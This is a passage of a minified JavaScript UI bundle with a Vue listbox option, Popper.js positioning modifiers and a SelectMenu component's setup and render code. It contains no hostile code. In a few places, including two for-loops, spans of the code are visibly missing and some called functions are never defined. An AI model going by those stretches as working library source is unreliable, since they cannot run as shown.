m()},domRef:s}));Rt(()=>o.registerOption(a,E)),ni(()=>o.unregisterOption(a)),Rt(()=>{Je([o.listboxState,b],()=>{o.listboxState.value===0&&b.value&&tt(o.mode.value,{1:()=>{p.value&&o.goToOption(ce.Specific,a)},0:()=>{o.goToOption(ce.Specific,a)}})},{immediate:!0})}),Ct(()=>{o.listboxState.value===0&&c.value&&o.activationTrigger.value!==0&&ot(()=>{var R,N;return(N=(R=ee(s))==null?void 0:R.scrollIntoView)==null?void 0:N.call(R,{block:"nearest"})})});function I(R){if(e.disabled)return R.preventDefault();o.select(e.value),o.mode.value===0&&(o.closeListbox(),ot(()=>{var N;return(N=ee(o.buttonRef))==null?void 0:N.focus({preventScroll:!0})}))}function B(){if(e.disabled)return o.goToOption(ce.Nothing);o.goToOption(ce.Specific,a)}let C=ws();function F(R){C.update(R)}function z(R){C.wasMoved(R)&&(e.disabled||c.value||o.goToOption(ce.Specific,a,0))}function D(R){C.wasMoved(R)&&(e.disabled||c.value&&o.goToOption(ce.Nothing))}return()=>{let{disabled:R}=e,N={active:c.value,selected:b.value,disabled:R},{value:$,disabled:L,...K}=e,j={id:a,ref:s,role:"option",tabIndex:R===!0?void 0:-1,"aria-disabled":R===!0?!0:void 0,"aria-selected":b.value,disabled:void 0,onClick:I,onFocus:B,onPointerenter:F,onMouseenter:F,onPointermove:z,onMousemove:z,onPointerleave:D,onMouseleave:D};return er({ourProps:j,theirProps:K,slot:N,attrs:r,slots:t,name:"ListboxOption"})}}});function bt(e){if(e==null)return window;if(e.toString()!=="[object Window]"){var t=e.ownerDocument;return t&&t.defaultView||window}return e}function Ur(e){var t=bt(e).Element;return e instanceof t||e instanceof Element}function Mt(e){var t=bt(e).HTMLElement;return e instanceof t||e instanceof HTMLElement}function Ra(e){if(typeof ShadowRoot>"u")return!1;var t=bt(e).ShadowRoot;return e instanceof t||e instanceof ShadowRoot}var zr=Math.max,Gn=Math.min,en=Math.round;function pa(){var e=navigator.userAgentData;return e!=null&&e.brands&&Array.isArray(e.brands)?e.brands.map(function(t){return t.brand+"/"+t.version}).join(" "):navigator.userAgent}function Ps(){return!/^((?!chrome|android).)*safari/i.test(pa())}function tn(e,t,r){t===void 0&&(t=!1),r===void 0&&(r=!1);var n=e.getBoundingClientRect(),i=1,a=1;t&&Mt(e)&&(i=e.offsetWidth>0&&en(n.width)/e.offsetWidth||1,a=e.offsetHeight>0&&en(n.height)/e.offsetHeight||1);var o=Ur(e)?bt(e):window,s=o.visualViewport,c=!Ps()&&r,b=(n.left+(c&&s?s.offsetLeft:0))/i,p=(n.top+(c&&s?s.offsetTop:0))/a,m=n.width/i,E=n.height/a;return{width:m,height:E,top:p,right:b+m,bottom:p+E,left:b,x:b,y:p}}function $a(e){var t=bt(e),r=t.pageXOffset,n=t.pageYOffset;return{scrollLeft:r,scrollTop:n}}function Ku(e){return{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}}function Wu(e){return e===bt(e)||!Mt(e)?$a(e):Ku(e)}function Yt(e){return e?(e.nodeName||"").toLowerCase():null}function Mr(e){return((Ur(e)?e.ownerDocument:e.document)||window.document).documentElement}function Ta(e){return tn(Mr(e)).left+$a(e).scrollLeft}function dr(e){return bt(e).getComputedStyle(e)}function Pa(e){var t=dr(e),r=t.overflow,n=t.overflowX,i=t.overflowY;return/auto|scroll|overlay|hidden/.test(r+i+n)}function Ju(e){var t=e.getBoundingClientRect(),r=en(t.width)/e.offsetWidth||1,n=en(t.height)/e.offsetHeight||1;return r!==1||n!==1}function Yu(e,t,r){r===void 0&&(r=!1);var n=Mt(t),i=Mt(t)&&Ju(t),a=Mr(t),o=tn(e,i,r),s={scrollLeft:0,scrollTop:0},c={x:0,y:0};return(n||!n&&!r)&&((Yt(t)!=="body"||Pa(a))&&(s=Wu(t)),Mt(t)?(c=tn(t,!0),c.x+=t.clientLeft,c.y+=t.clientTop):a&&(c.x=Ta(a))),{x:o.left+s.scrollLeft-c.x,y:o.top+s.scrollTop-c.y,width:o.width,height:o.height}}function Na(e){var t=tn(e),r=e.offsetWidth,n=e.offsetHeight;return Math.abs(t.width-r)<=1&&(r=t.width),Math.abs(t.height-n)<=1&&(n=t.height),{x:e.offsetLeft,y:e.offsetTop,width:r,height:n}}function ai(e){return Yt(e)==="html"?e:e.assignedSlot||e.parentNode||(Ra(e)?e.host:null)||Mr(e)}function Ns(e){return["html","body","#document"].indexOf(Yt(e))>=0?e.ownerDocument.body:Mt(e)&&Pa(e)?e:Ns(ai(e))}function Bn(e,t){var r;t===void 0&&(t=[]);var n=Ns(e),i=n===((r=e.ownerDocument)==null?void 0:r.body),a=bt(n),o=i?[a].concat(a.visualViewport||[],Pa(n)?n:[]):n,s=t.concat(o);return i?s:s.concat(Bn(ai(o)))}function Xu(e){return["table","td","th"].indexOf(Yt(e))>=0}function ko(e){return!Mt(e)||dr(e).position==="fixed"?null:e.offsetParent}function Gu(e){var t=/firefox/i.test(pa()),r=/Trident/i.test(pa());if(r&&Mt(e)){var n=dr(e);if(n.position==="fixed")return null}var i=ai(e);for(Ra(i)&&(i=i.host);Mt(i)&&["html","body"].indexOf(Yt(i))<0;){var a=dr(i);if(a.transform!=="none"||a.perspective!=="none"||a.contain==="paint"||["transform","perspective"].indexOf(a.willChange)!==-1||t&&a.willChange==="filter"||t&&a.filter&&a.filter!=="none")return i;i=i.parentNode}return null}function Nn(e){for(var t=bt(e),r=ko(e);r&&Xu(r)&&dr(r).position==="static";)r=ko(r);return r&&(Yt(r)==="html"||Yt(r)==="body"&&dr(r).position==="static")?t:r||Gu(e)||t}var ht="top",$t="bottom",Tt="right",pt="left",za="auto",zn=[ht,$t,Tt,pt],rn="start",$n="end",Zu="clippingParents",zs="viewport",_n="popper",Qu="reference",Co=zn.reduce(function(e,t){return e.concat([t+"-"+rn,t+"-"+$n])},[]),Ds=[].concat(zn,[za]).reduce(function(e,t){return e.concat([t,t+"-"+rn,t+"-"+$n])},[]),ed="beforeRead",td="read",rd="afterRead",nd="beforeMain",id="main",ad="afterMain",od="beforeWrite",sd="write",fd="afterWrite",ld=[ed,td,rd,nd,id,ad,od,sd,fd];function ud(e){var t=new Map,r=new Set,n=[];e.forEach(function(a){t.set(a.name,a)});function i(a){r.add(a.name);var o=[].concat(a.requires||[],a.requiresIfExists||[]);o.forEach(function(s){if(!r.has(s)){var c=t.get(s);c&&i(c)}}),n.push(a)}return e.forEach(function(a){r.has(a.name)||i(a)}),n}function dd(e){var t=ud(e);return ld.reduce(function(r,n){return r.concat(t.filter(function(i){return i.phase===n}))},[])}function cd(e){var t;return function(){return t||(t=new Promise(function(r){Promise.resolve().then(function(){t=void 0,r(e())})})),t}}function hd(e){var t=e.reduce(function(r,n){var i=r[n.name];return r[n.name]=i?Object.assign({},i,n,{options:Object.assign({},i.options,n.options),data:Object.assign({},i.data,n.data)}):n,r},{});return Object.keys(t).map(function(r){return t[r]})}function pd(e,t){var r=bt(e),n=Mr(e),i=r.visualViewport,a=n.clientWidth,o=n.clientHeight,s=0,c=0;if(i){a=i.width,o=i.height;var b=Ps();(b||!b&&t==="fixed")&&(s=i.offsetLeft,c=i.offsetTop)}return{width:a,height:o,x:s+Ta(e),y:c}}function bd(e){var t,r=Mr(e),n=$a(e),i=(t=e.ownerDocument)==null?void 0:t.body,a=zr(r.scrollWidth,r.clientWidth,i?i.scrollWidth:0,i?i.clientWidth:0),o=zr(r.scrollHeight,r.clientHeight,i?i.scrollHeight:0,i?i.clientHeight:0),s=-n.scrollLeft+Ta(e),c=-n.scrollTop;return dr(i||r).direction==="rtl"&&(s+=zr(r.clientWidth,i?i.clientWidth:0)-a),{width:a,height:o,x:s,y:c}}function Fs(e,t){var r=t.getRootNode&&t.getRootNode();if(e.contains(t))return!0;if(r&&Ra(r)){var n=t;do{if(n&&e.isSameNode(n))return!0;n=n.parentNode||n.host}while(n)}return!1}function ba(e){return Object.assign({},e,{left:e.x,top:e.y,right:e.x+e.width,bottom:e.y+e.height})}function vd(e,t){var r=tn(e,!1,t==="fixed");return r.top=r.top+e.clientTop,r.left=r.left+e.clientLeft,r.bottom=r.top+e.clientHeight,r.right=r.left+e.clientWidth,r.width=e.clientWidth,r.height=e.clientHeight,r.x=r.left,r.y=r.top,r}function Ro(e,t,r){return t===zs?ba(pd(e,r)):Ur(t)?vd(t,r):ba(bd(Mr(e)))}function md(e){var t=Bn(ai(e)),r=["absolute","fixed"].indexOf(dr(e).position)>=0,n=r&&Mt(e)?Nn(e):e;return Ur(n)?t.filter(function(i){return Ur(i)&&Fs(i,n)&&Yt(i)!=="body"}):[]}function gd(e,t,r,n){var i=t==="clippingParents"?md(e):[].concat(t),a=[].concat(i,[r]),o=a[0],s=a.reduce(function(c,b){var p=Ro(e,b,n);return c.top=zr(p.top,c.top),c.right=Gn(p.right,c.right),c.bottom=Gn(p.bottom,c.bottom),c.left=zr(p.left,c.left),c},Ro(e,o,n));return s.width=s.right-s.left,s.height=s.bottom-s.top,s.x=s.left,s.y=s.top,s}function Ht(e){return e.split("-")[0]}function nn(e){return e.split("-")[1]}function Da(e){return["top","bottom"].indexOf(e)>=0?"x":"y"}function Ls(e){var t=e.reference,r=e.element,n=e.placement,i=n?Ht(n):null,a=n?nn(n):null,o=t.x+t.width/2-r.width/2,s=t.y+t.height/2-r.height/2,c;switch(i){case ht:c={x:o,y:t.y-r.height};break;case $t:c={x:o,y:t.y+t.height};break;case Tt:c={x:t.x+t.width,y:s};break;case pt:c={x:t.x-r.width,y:s};break;default:c={x:t.x,y:t.y}}var b=i?Da(i):null;if(b!=null){var p=b==="y"?"height":"width";switch(a){case rn:c[b]=c[b]-(t[p]/2-r[p]/2);break;case $n:c[b]=c[b]+(t[p]/2-r[p]/2);break}}return c}function js(){return{top:0,right:0,bottom:0,left:0}}function Us(e){return Object.assign({},js(),e)}function qs(e,t){return t.reduce(function(r,n){return r[n]=e,r},{})}function Fa(e,t){t===void 0&&(t={});var r=t,n=r.placement,i=n===void 0?e.placement:n,a=r.strategy,o=a===void 0?e.strategy:a,s=r.boundary,c=s===void 0?Zu:s,b=r.rootBoundary,p=b===void 0?zs:b,m=r.elementContext,E=m===void 0?_n:m,I=r.altBoundary,B=I===void 0?!1:I,C=r.padding,F=C===void 0?0:C,z=Us(typeof F!="number"?F:qs(F,zn)),D=E===_n?Qu:_n,R=e.rects.popper,N=e.elements[B?D:E],$=gd(Ur(N)?N:N.contextElement||Mr(e.elements.popper),c,p,o),L=tn(e.elements.reference),K=Ls({reference:L,element:R,strategy:"absolute",placement:i}),j=ba(Object.assign({},R,K)),H=E===_n?j:L,U={top:$.top-H.top+z.top,bottom:H.bottom-$.bottom+z.bottom,left:$.left-H.left+z.left,right:H.right-$.right+z.right},x=e.modifiersData.offset;if(E===_n&&x){var f=x[i];Object.keys(U).forEach(function(h){var g=[Tt,$t].indexOf(h)>=0?1:-1,y=[ht,$t].indexOf(h)>=0?"y":"x";U[h]+=f[y]*g})}return U}var $o={placement:"bottom",modifiers:[],strategy:"absolute"};function To(){for(var e=arguments.length,t=new Array(e),r=0;r=0});E.length===0&&(E=m);var I=E.reduce(function(B,C){return B[C]=Fa(e,{placement:C,boundary:i,rootBoundary:a,padding:o})[Ht(C)],B},{});return Object.keys(I).sort(function(B,C){return I[B]-I[C]})}function $d(e){if(Ht(e)===za)return[];var t=Wn(e);return[No(e),t,No(t)]}function Td(e){var t=e.state,r=e.options,n=e.name;if(!t.modifiersData[n]._skip){for(var i=r.mainAxis,a=i===void 0?!0:i,o=r.altAxis,s=o===void 0?!0:o,c=r.fallbackPlacements,b=r.padding,p=r.boundary,m=r.rootBoundary,E=r.altBoundary,I=r.flipVariations,B=I===void 0?!0:I,C=r.allowedAutoPlacements,F=t.options.placement,z=Ht(F),D=z===F,R=c||(D||!B?[Wn(F)]:$d(F)),N=[F].concat(R).reduce(function(J,X){return J.concat(Ht(X)===za?Rd(t,{placement:X,boundary:p,rootBoundary:m,padding:b,flipVariations:B,allowedAutoPlacements:C}):X)},[]),$=t.rects.reference,L=t.rects.popper,K=new Map,j=!0,H=N[0],U=0;U=0,y=g?"width":"height",M=Fa(t,{placement:x,boundary:p,rootBoundary:m,altBoundary:E,padding:b}),A=g?h?Tt:pt:h?$t:ht;$[y]>L[y]&&(A=Wn(A));var k=Wn(A),_=[];if(a&&_.push(M[f]<=0),s&&_.push(M[A]<=0,M[k]<=0),_.every(function(J){return J})){H=x,j=!1;break}K.set(x,_)}if(j)for(var u=B?3:1,S=function(X){var ie=N.find(function(fe){var Be=K.get(fe);if(Be)return Be.slice(0,X).every(function(le){return le})});if(ie)return H=ie,"break"},V=u;V>0;V--){var W=S(V);if(W==="break")break}t.placement!==H&&(t.modifiersData[n]._skip=!0,t.placement=H,t.reset=!0)}}const Pd={name:"flip",enabled:!0,phase:"main",fn:Td,requiresIfExists:["offset"],data:{_skip:!1}};function Nd(e,t,r){var n=Ht(e),i=[pt,ht].indexOf(n)>=0?-1:1,a=typeof r=="function"?r(Object.assign({},t,{placement:e})):r,o=a[0],s=a[1];return o=o||0,s=(s||0)*i,[pt,Tt].indexOf(n)>=0?{x:s,y:o}:{x:o,y:s}}function zd(e){var t=e.state,r=e.options,n=e.name,i=r.offset,a=i===void 0?[0,0]:i,o=Ds.reduce(function(p,m){return p[m]=Nd(m,t.rects,a),p},{}),s=o[t.placement],c=s.x,b=s.y;t.modifiersData.popperOffsets!=null&&(t.modifiersData.popperOffsets.x+=c,t.modifiersData.popperOffsets.y+=b),t.modifiersData[n]=o}const Dd={name:"offset",enabled:!0,phase:"main",requires:["popperOffsets"],fn:zd};function Fd(e){return e==="x"?"y":"x"}function kn(e,t,r){return zr(e,Gn(t,r))}function Ld(e,t,r){var n=kn(e,t,r);return n>r?r:n}function jd(e){var t=e.state,r=e.options,n=e.name,i=r.mainAxis,a=i===void 0?!0:i,o=r.altAxis,s=o===void 0?!1:o,c=r.boundary,b=r.rootBoundary,p=r.altBoundary,m=r.padding,E=r.tether,I=E===void 0?!0:E,B=r.tetherOffset,C=B===void 0?0:B,F=Fa(t,{boundary:c,rootBoundary:b,padding:m,altBoundary:p}),z=Ht(t.placement),D=nn(t.placement),R=!D,N=Da(z),$=Fd(N),L=t.modifiersData.popperOffsets,K=t.rects.reference,j=t.rects.popper,H=typeof C=="function"?C(Object.assign({},t.rects,{placement:t.placement})):C,U=typeof H=="number"?{mainAxis:H,altAxis:H}:Object.assign({mainAxis:0,altAxis:0},H),x=t.modifiersData.offset?t.modifiersData.offset[t.placement]:null,f={x:0,y:0};if(L){if(a){var h,g=N==="y"?ht:pt,y=N==="y"?$t:Tt,M=N==="y"?"height":"width",A=L[N],k=A+F[g],_=A-F[y],u=I?-j[M]/2:0,S=D===rn?K[M]:j[M],V=D===rn?-j[M]:-K[M],W=t.elements.arrow,J=I&&W?Na(W):{width:0,height:0},X=t.modifiersData["arrow#persistent"]?t.modifiersData["arrow#persistent"].padding:js(),ie=X[g],fe=X[y],Be=kn(0,K[M],J[M]),le=R?K[M]/2-u-Be-ie-U.mainAxis:S-Be-ie-U.mainAxis,ge=R?-K[M]/2+u+Be+fe+U.mainAxis:V+Be+fe+U.mainAxis,pr=t.elements.arrow&&Nn(t.elements.arrow),Me=pr?N==="y"?pr.clientTop||0:pr.clientLeft||0:0,pe=(h=x==null?void 0:x[N])!=null?h:0,Ft=A+le-pe-Me,Ae=A+ge-pe,_e=kn(I?Gn(k,Ft):k,A,I?zr(_,Ae):_);L[N]=_e,f[N]=_e-A}if(s){var nr,Ie=N==="x"?ht:pt,Oe=N==="x"?$t:Tt,ut=L[$],be=$==="y"?"height":"width",ue=ut+F[Ie],ir=ut-F[Oe],we=[ht,pt].indexOf(z)!==-1,de=(nr=x==null?void 0:x[$])!=null?nr:0,Or=we?ue:ut-K[be]-j[be]-de+U.altAxis,v=we?ut+K[be]+j[be]-de-U.altAxis:ir,l=I&&we?Ld(Or,ut,v):kn(I?Or:ue,ut,I?v:ir);L[$]=l,f[$]=l-ut}t.modifiersData[n]=f}}const Ud={name:"preventOverflow",enabled:!0,phase:"main",fn:jd,requiresIfExists:["offset"]};var qd=function(t,r){return t=typeof t=="function"?t(Object.assign({},r.rects,{placement:r.placement})):t,Us(typeof t!="number"?t:qs(t,zn))};function Hd(e){var t,r=e.state,n=e.name,i=e.options,a=r.elements.arrow,o=r.modifiersData.popperOffsets,s=Ht(r.placement),c=Da(s),b=[pt,Tt].indexOf(s)>=0,p=b?"height":"width";if(!(!a||!o)){var m=qd(i.padding,r),E=Na(a),I=c==="y"?ht:pt,B=c==="y"?$t:Tt,C=r.rects.reference[p]+r.rects.reference[c]-o[c]-r.rects.popper[p],F=o[c]-r.rects.reference[c],z=Nn(a),D=z?c==="y"?z.clientHeight||0:z.clientWidth||0:0,R=C/2-F/2,N=m[I],$=D-E[p]-m[B],L=D/2-E[p]/2+R,K=kn(N,L,$),j=c;r.modifiersData[n]=(t={},t[j]=K,t.centerOffset=K-L,t)}}function Vd(e){var t=e.state,r=e.options,n=r.element,i=n===void 0?"[data-popper-arrow]":n;i!=null&&(typeof i=="string"&&(i=t.elements.popper.querySelector(i),!i)||Fs(t.elements.popper,i)&&(t.elements.arrow=i))}const Kd={name:"arrow",enabled:!0,phase:"main",fn:Hd,effect:Vd,requires:["popperOffsets"],requiresIfExists:["preventOverflow"]},Wd=yd({defaultModifiers:[...Bd,Dd,Pd,Ud,Vs,Hs,Kd]});function Jd({locked:e=!1,overflowPadding:t=8,offsetDistance:r=8,offsetSkid:n=0,gpuAcceleration:i=!0,adaptive:a=!0,scroll:o=!0,resize:s=!0,arrow:c=!1,placement:b,strategy:p},m){const E=re(null),I=re(null),B=re(null);return Rt(()=>{Ct(C=>{if(!I.value||!E.value&&!(m!=null&&m.value))return;const F=wo(I),z=wo(E);if(!(F instanceof HTMLElement)||!z)return;const D={modifiers:[{name:"flip",enabled:!e},{name:"preventOverflow",options:{padding:t}},{name:"offset",options:{offset:[n,r]}},{name:"computeStyles",options:{adaptive:a,gpuAcceleration:i}},{name:"eventListeners",options:{scroll:o,resize:s}},{name:"arrow",enabled:c}]};b&&(D.placement=b),p&&(D.strategy=p),B.value=Wd(z,F,D),C(B.value.destroy)})}),[E,I,B]}const Ks=(e,t)=>{const r=kt("form-events",void 0),n=kt("form-group",void 0),i=kt("form-inputs",void 0);n&&(e!=null&&e.id&&(n.inputId.value=e==null?void 0:e.id),i&&(i.value[n.name.value]=n.inputId.value));const a=re(!1);function o(p,m){r&&r.emit({type:p,path:m})}function s(){o("blur",n==null?void 0:n.name.value),a.value=!0}function c(){o("change",n==null?void 0:n.name.value)}const b=fs(()=>{(a.value||n!=null&&n.eagerValidation.value)&&o("input",n==null?void 0:n.name.value)},300);return{inputId:q(()=>(e==null?void 0:e.id)??(n==null?void 0:n.inputId.value)),name:q(()=>(e==null?void 0:e.name)??(n==null?void 0:n.name.value)),size:q(()=>{var m;const p=t.size[n==null?void 0:n.size.value]?n==null?void 0:n.size.value:null;return(e==null?void 0:e.size)??p??((m=t==null?void 0:t.default)==null?void 0:m.size)}),color:q(()=>{var p;return(p=n==null?void 0:n.error)!=null&&p.value?"red":e==null?void 0:e.color}),emitFormBlur:s,emitFormInput:b,emitFormChange:c}};function Ws({ui:e,props:t}){const r=Qo();if(hn("ButtonGroupContextConsumer",!0),kt("ButtonGroupContextConsumer",!1))return{size:q(()=>t.size),rounded:q(()=>e.value.rounded)};let i=r.parent,a;for(;i&&!a;){if(i.type.name==="ButtonGroup"){a=kt(`group-${i.uid}`);break}i=i.parent}const o=q(()=>a==null?void 0:a.value.children.indexOf(r));return Rt(()=>{a==null||a.value.register(r)}),ni(()=>{a==null||a.value.unregister(r)}),{size:q(()=>(a==null?void 0:a.value.size)||t.size),rounded:q(()=>!a||o.value===-1?e.value.rounded:a.value.children.length===1?a.value.ui.rounded:o.value===0?a.value.rounded.start:o.value===a.value.children.length-1?a.value.rounded.end:"rounded-none")}}const Lt=cn(nt.ui.strategy,nt.ui.select,jl),Hn=cn(nt.ui.strategy,nt.ui.selectMenu,Ul),Yd=xe({components:{HCombobox:ku,HComboboxButton:Cu,HComboboxOptions:$u,HComboboxOption:Tu,HComboboxInput:Ru,HListbox:Uu,HListboxButton:qu,HListboxOptions:Hu,HListboxOption:Vu,UIcon:Qt,UAvatar:cs},inheritAttrs:!1,props:{modelValue:{type:[String,Number,Object,Array,Boolean],default:""},query:{type:String,default:null},by:{type:String,default:void 0},options:{type:Array,default:()=>[]},id:{type:String,default:null},name:{type:String,default:null},required:{type:Boolean,default:!1},icon:{type:String,default:null},loadingIcon:{type:String,default:()=>Lt.default.loadingIcon},leadingIcon:{type:String,default:null},trailingIcon:{type:String,default:()=>Lt.default.trailingIcon},trailing:{type:Boolean,default:!1},leading:{type:Boolean,default:!1},loading:{type:Boolean,default:!1},selectedIcon:{type:String,default:()=>Hn.default.selectedIcon},disabled:{type:Boolean,default:!1},multiple:{type:Boolean,default:!1},searchable:{type:[Boolean,Function],default:!1},searchablePlaceholder:{type:String,default:"Search..."},searchableLazy:{type:Boolean,default:!1},clearSearchOnClose:{type:Boolean,default:()=>Hn.default.clearSearchOnClose},debounce:{type:Number,default:200},creatable:{type:Boolean,default:!1},showCreateOptionWhen:{type:String,default:()=>Hn.default.showCreateOptionWhen},placeholder:{type:String,default:null},padded:{type:Boolean,default:!0},size:{type:String,default:null,validator(e){return Object.keys(Lt.size).includes(e)}},color:{type:String,default:()=>Lt.default.color,validator(e){return[...nt.ui.colors,...Object.keys(Lt.color)].includes(e)}},variant:{type:String,default:()=>Lt.default.variant,validator(e){return[...Object.keys(Lt.variant),...Object.values(Lt.color).flatMap(t=>Object.keys(t))].includes(e)}},optionAttribute:{type:String,default:"label"},valueAttribute:{type:String,default:null},searchAttributes:{type:Array,default:null},popper:{type:Object,default:()=>({})},selectClass:{type:String,default:null},class:{type:[String,Object,Array],default:()=>""},ui:{type:Object,default:()=>({})},uiMenu:{type:Object,default:()=>({})}},emits:["update:modelValue","update:query","open","close","change"],setup(e,{emit:t,slots:r}){const{ui:n,attrs:i}=Rn("select",Nr(e,"ui"),Lt,Nr(e,"class")),{ui:a}=Rn("selectMenu",Nr(e,"uiMenu"),Hn),o=q(()=>ns({},e.popper,a.value.popper)),[s,c]=Jd(o.value),{size:b,rounded:p}=Ws({ui:n,props:e}),{emitFormBlur:m,emitFormChange:E,inputId:I,color:B,size:C,name:F}=Ks(e,Lt),z=q(()=>b.value||C.value),D=re(""),R=q({get(){return e.query??D.value},set(u){D.value=u,t("update:query",u)}}),N=q(()=>{if(e.multiple)return Array.isArray(e.modelValue)&&e.modelValue.length?`${e.modelValue.length} selected`:null;if(e.modelValue!==void 0&&e.modelValue!==null)if(e.valueAttribute){const u=e.options.find(S=>S[e.valueAttribute]===e.modelValue);return u?u[e.optionAttribute]:null}else return["string","number"].includes(typeof e.modelValue)?e.modelValue:e.modelValue[e.optionAttribute];return null}),$=q(()=>{var S,V;const u=((V=(S=n.value.color)==null?void 0:S[B.value])==null?void 0:V[e.variant])||n.value.variant[e.variant];return Cn(dt(n.value.base,a.value.select,p.value,n.value.size[z.value],n.value.gap[z.value],e.padded?n.value.padding[z.value]:"p-0",u==null?void 0:u.replaceAll("{color}",B.value),(L.value||r.leading)&&n.value.leading.padding[z.value],(K.value||r.trailing)&&n.value.trailing.padding[z.value]),e.placeholder&&!e.modelValue&&n.value.placeholder,e.selectClass)}),L=q(()=>e.icon&&e.leading||e.icon&&!e.trailing||e.loading&&!e.trailing||e.leadingIcon),K=q(()=>e.icon&&e.trailing||e.loading&&e.trailing||e.trailingIcon),j=q(()=>e.loading?e.loadingIcon:e.leadingIcon||e.icon),H=q(()=>e.loading&&!L.value?e.loadingIcon:e.trailingIcon||e.icon),U=q(()=>dt(n.value.icon.leading.wrapper,n.value.icon.leading.pointer,n.value.icon.leading.padding[z.value])),x=q(()=>dt(n.value.icon.base,B.value&&nt.ui.colors.includes(B.value)&&n.value.icon.color.replaceAll("{color}",B.value),n.value.icon.size[z.value],e.loading&&n.value.icon.loading)),f=q(()=>dt(n.value.icon.trailing.wrapper,n.value.icon.trailing.pointer,n.value.icon.trailing.padding[z.value])),h=q(()=>dt(n.value.icon.base,B.value&&nt.ui.colors.includes(B.value)&&n.value.icon.color.replaceAll("{color}",B.value),n.value.icon.size[z.value],e.loading&&!L.value&&n.value.icon.loading)),g=typeof e.searchable=="function"?fs(e.searchable,e.debounce):void 0,y=Al(async()=>e.searchable&&g?await g(R.value):R.value===""?e.options:e.options.filter(u=>{var S;return((S=e.searchAttributes)!=null&&S.length?e.searchAttributes:[e.optionAttribute]).some(V=>{if(["string","number"].includes(typeof u))return String(u).search(new RegExp(R.value,"i"))!==-1;const W=ls(u,V);return W!=null&&String(W).search(new RegExp(R.value,"i"))!==-1})}),[],{lazy:e.searchableLazy}),M=q(()=>R.value===""||e.showCreateOptionWhen==="empty"&&y.value.length||e.showCreateOptionWhen==="always"&&y.value.find(S=>["string","number"].includes(typeof S)?S===R.value:S[e.optionAttribute]===R.value)?null:["string","number"].includes(typeof e.modelValue)?R.value:{[e.optionAttribute]:R.value});function A(){e.clearSearchOnClose&&(R.value="")}Je(c,u=>{u?t("open"):(A(),t("close"),m())});function k(u){t("update:modelValue",u),t("change",u),E()}function _(u){R.value=u.target.value}return fu(()=>Ml("$PWoELoWVoS")),{ui:n,uiMenu:a,attrs:i,name:F,inputId:I,popper:o,trigger:s,container:c,label:N,isLeading:L,isTrailing:K,selectClass:$,leadingIconName:j,leadingIconClass:x,leadingWrapperIconClass:U,trailingIconName:H,trailingIconClass:h,trailingWrapperIconClass:f,filteredOptions:y,createOption:M,query:R,onUpdate:k,onQueryChange:_}}}),Xd=["value","required"],Gd=["id","disabled"],Zd={class:"truncate"};function Qd(e,t,r,n,i,a){const o=Qt,s=ol("HComboboxInput"),c=cs;return G(),Qe($r(e.searchable?"HCombobox":"HListbox"),{by:e.by,name:e.name,"model-value":e.modelValue,multiple:e.multiple,disabled:e.disabled,as:"div",class:ae(e.ui.wrapper),"onUpdate:modelValue":e.onUpdate},{default:et(({open:b})=>[e.required?(G(),oe("input",{key:0,value:e.modelValue,required:e.required,class:ae(e.uiMenu.required),tabindex:"-1","aria-hidden":"true"},null,10,Xd)):Ce("",!0),(G(),Qe($r(e.searchable?"HComboboxButton":"HListboxButton"),{ref:"trigger",as:"div",role:"button",class:ae(e.uiMenu.trigger)},{default:et(()=>[at(e.$slots,"default",{open:b,disabled:e.disabled,loading:e.loading},()=>[ne("button",lr({id:e.inputId,class:e.selectClass,disabled:e.disabled,type:"button"},e.attrs),[e.isLeading&&e.leadingIconName||e.$slots.leading?(G(),oe("span",{key:0,class:ae(e.leadingWrapperIconClass)},[at(e.$slots,"leading",{disabled:e.disabled,loading:e.loading},()=>[he(o,{name:e.leadingIconName,class:ae(e.leadingIconClass)},null,8,["name","class"])])],2)):Ce("",!0),at(e.$slots,"label",{},()=>[e.label?(G(),oe("span",{key:0,class:ae(e.uiMenu.label)},ct(e.label),3)):(G(),oe("span",{key:1,class:ae(e.uiMenu.label)},ct(e.placeholder||" "),3))]),e.isTrailing&&e.trailingIconName||e.$slots.trailing?(G(),oe("span",{key:1,class:ae(e.trailingWrapperIconClass)},[at(e.$slots,"trailing",{disabled:e.disabled,loading:e.loading},()=>[he(o,{name:e.trailingIconName,class:ae(e.trailingIconClass),"aria-hidden":"true"},null,8,["name","class"])])],2)):Ce("",!0)],16,Gd)])]),_:2},1032,["class"])),b?(G(),oe("div",{key:1,ref:"container",class:ae([e.uiMenu.container,e.uiMenu.width])},[he(fl,lr({appear:""},e.uiMenu.transition),{default:et(()=>[ne("div",null,[e.popper.arrow?(G(),oe("div",{key:0,"data-popper-arrow":"",class:ae(Object.values(e.uiMenu.arrow))},null,2)):Ce("",!0),(G(),Qe($r(e.searchable?"HComboboxOptions":"HListboxOptions"),{static:"",class:ae([e.uiMenu.base,e.uiMenu.ring,e.uiMenu.rounded,e.uiMenu.shadow,e.uiMenu.background,e.uiMenu.padding,e.uiMenu.height])},{default:et(()=>{var p,m;return[e.searchable?(G(),Qe(s,{key:0,"display-value":()=>e.query,name:"q",placeholder:e.searchablePlaceholder,autofocus:"",autocomplete:"off",class:ae(e.uiMenu.input),onChange:e.onQueryChange},null,8,["display-value","placeholder","class","onChange"])):Ce("",!0),(G(!0),oe(pn,null,sl(e.filteredOptions,(E,I)=>(G(),Qe($r(e.searchable?"HComboboxOption":"HListboxOption"),{key:I,as:"template",value:e.valueAttribute?E[e.valueAttribute]:E,disabled:E.disabled},{default:et(({active:B,selected:C,disabled:F})=>[ne("li",{class:ae([e.uiMenu.option.base,e.uiMenu.option.rounded,e.uiMenu.option.padding,e.uiMenu.option.size,e.uiMenu.option.color,B?e.uiMenu.option.active:e.uiMenu.option.inactive,C&&e.uiMenu.option.selected,F&&e.uiMenu.option.disabled])},[ne("div",{class:ae(e.uiMenu.option.container)},[at(e.$slots,"option",{option:E,active:B,selected:C},()=>[E.icon?(G(),Qe(o,{key:0,name:E.icon,class:ae([e.uiMenu.option.icon.base,B?e.uiMenu.option.icon.active:e.uiMenu.option.icon.inactive,E.iconClass]),"aria-hidden":"true"},null,8,["name","class"])):E.avatar?(G(),Qe(c,lr({key:1,ref_for:!0},{size:e.uiMenu.option.avatar.size,...E.avatar},{class:e.uiMenu.option.avatar.base,"aria-hidden":"true"}),null,16,["class"])):E.chip?(G(),oe("span",{key:2,class:ae(e.uiMenu.option.chip.base),style:ll({background:`#${E.chip}`})},null,6)):Ce("",!0),ne("span",Zd,ct(["string","number"].includes(typeof 